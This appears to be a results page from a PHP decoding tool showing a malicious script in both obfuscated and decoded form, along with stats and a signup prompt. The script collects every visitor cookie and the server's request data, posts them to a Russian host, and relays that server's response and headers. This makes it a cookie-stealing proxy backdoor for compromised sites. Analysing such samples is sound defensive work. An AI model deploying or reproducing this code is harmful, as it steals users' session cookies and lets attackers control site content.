Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $u=&$_COOKIE;$E=&$_SERVER;$J='';if(!empty($u)){foreach($u as $i=>$C){if($J)$J.='; ';..

Decoded Output download

<?php $u=&$_COOKIE;$E=&$_SERVER;$J='';if(!empty($u)){foreach($u as $i=>$C){if($J)$J.='; ';$J.=$i.'='.addslashes($C);}}$g="curl_init";$M=http_build_query($E);$G="opt81.winner16.ru";$S="/proxyfolder/zinunulenghv";if(is_callable($g)){$z="curl_setopt";$b="curl_exec";$Y=$g();$z($Y,7560+2442,"http://".$G.$S);$z($Y,694+9321,$M);$z($Y,14386+5527,1);$z($Y,5025+15054,'otwR');if($J)$z($Y,2753+7269,$J);echo $b($Y);}else{$K="fsockopen";$Q="fclose";$X="fwrite";$q="fgets";$D=$K($G,46+34) or die();$Z="POST $S HTTP/1.1
Host: $G
Content-Type: application/x-www-form-urlencoded
";if($J)$Z.="Cookie: $J
";$Z.="Content-length: ".strlen($M)."
Connection: Close

";$X($D,$Z.$M);$V='';while(!feof($D)){$V.=$q($D,243+781);}$Q($D);list($Z,$r)=explode("

",$V,2);$Z=explode("
",$Z);$U=0;foreach($Z as $W){otwR(0,$W);if(strpos($W,"chunked")!==false)$U=1;}if($U){for($k='';!empty($r);$r=trim($r)){$A=strpos($r,"
");$d=hexdec(substr($r,0,$A));$k.=substr($r,$A+2,$d);$r=substr($r,$A+2+$d);}echo $k;}else echo $r;}function otwR($Y,$P){if(strpos($P,"Content-Type")!==false||strpos($P,"404")!==false||strpos($P,"301")!==false||strpos($P,"Location")!==false||strpos($P,"Set-Cookie")!==false)header($P);return strlen($P);}?> 

Did this file decode correctly?

Original Code

<?php $u=&$_COOKIE;$E=&$_SERVER;$J='';if(!empty($u)){foreach($u as $i=>$C){if($J)$J.='; ';$J.=$i.'='.addslashes($C);}}$g="\143\165\x72\154\x5f\x69\156\151\x74";$M=http_build_query($E);$G="\x6f\160\164\70\x31\56\x77\x69\156\x6e\145\x72\61\x36\x2e\162\165";$S="\x2f\160\x72\x6f\170\171\x66\x6f\154\144\145\162\x2f\172\151\x6e\x75\x6e\x75\154\145\156\147\x68\166";if(is_callable($g)){$z="\x63\165\162\x6c\137\x73\x65\164\157\160\x74";$b="\143\x75\x72\x6c\137\145\x78\x65\143";$Y=$g();$z($Y,7560+2442,"\150\164\x74\x70\72\x2f\57".$G.$S);$z($Y,694+9321,$M);$z($Y,14386+5527,1);$z($Y,5025+15054,'otwR');if($J)$z($Y,2753+7269,$J);echo $b($Y);}else{$K="\x66\x73\x6f\143\153\157\160\145\156";$Q="\146\143\x6c\x6f\163\x65";$X="\x66\x77\x72\151\x74\145";$q="\146\147\145\x74\163";$D=$K($G,46+34) or die();$Z="\120\117\x53\x54 $S \x48\x54\124\x50/1.1\r\n\x48\x6f\x73\164: $G\r\n\x43\157\x6e\x74\145\x6e\164\55\x54\x79\160\x65: \141\160\160\154\151\143\x61\164\151\x6f\x6e\57\170\55\167\x77\167\55\x66\157\162\x6d\55\165\162\154\x65\156\143\157\x64\145\x64\r\n";if($J)$Z.="\x43\157\157\x6b\151\x65: $J\r\n";$Z.="\103\x6f\x6e\164\x65\156\x74\x2d\154\x65\156\x67\164\x68: ".strlen($M)."\r\n\103\157\156\156\145\143\x74\x69\157\156\72\40\x43\x6c\157\163\x65\r\n\r\n";$X($D,$Z.$M);$V='';while(!feof($D)){$V.=$q($D,243+781);}$Q($D);list($Z,$r)=explode("\r\n\r\n",$V,2);$Z=explode("\r\n",$Z);$U=0;foreach($Z as $W){otwR(0,$W);if(strpos($W,"\143\150\x75\156\x6b\145\144")!==false)$U=1;}if($U){for($k='';!empty($r);$r=trim($r)){$A=strpos($r,"\r\n");$d=hexdec(substr($r,0,$A));$k.=substr($r,$A+2,$d);$r=substr($r,$A+2+$d);}echo $k;}else echo $r;}function otwR($Y,$P){if(strpos($P,"\x43\157\x6e\x74\145\x6e\164\55\x54\x79\160\x65")!==false||strpos($P,"\x34\x30\x34")!==false||strpos($P,"\x33\60\x31")!==false||strpos($P,"\114\157\143\x61\164\151\157\x6e")!==false||strpos($P,"\x53\145\x74\x2d\x43\157\157\x6b\151\x65")!==false)header($P);return strlen($P);}?>

Function Calls

None

Variables

$E 0
$J
$u 0

Stats

MD5 8a7dd242822e0cf8d3a6a9ece4db1808
Eval Count 0
Decode Time 94 ms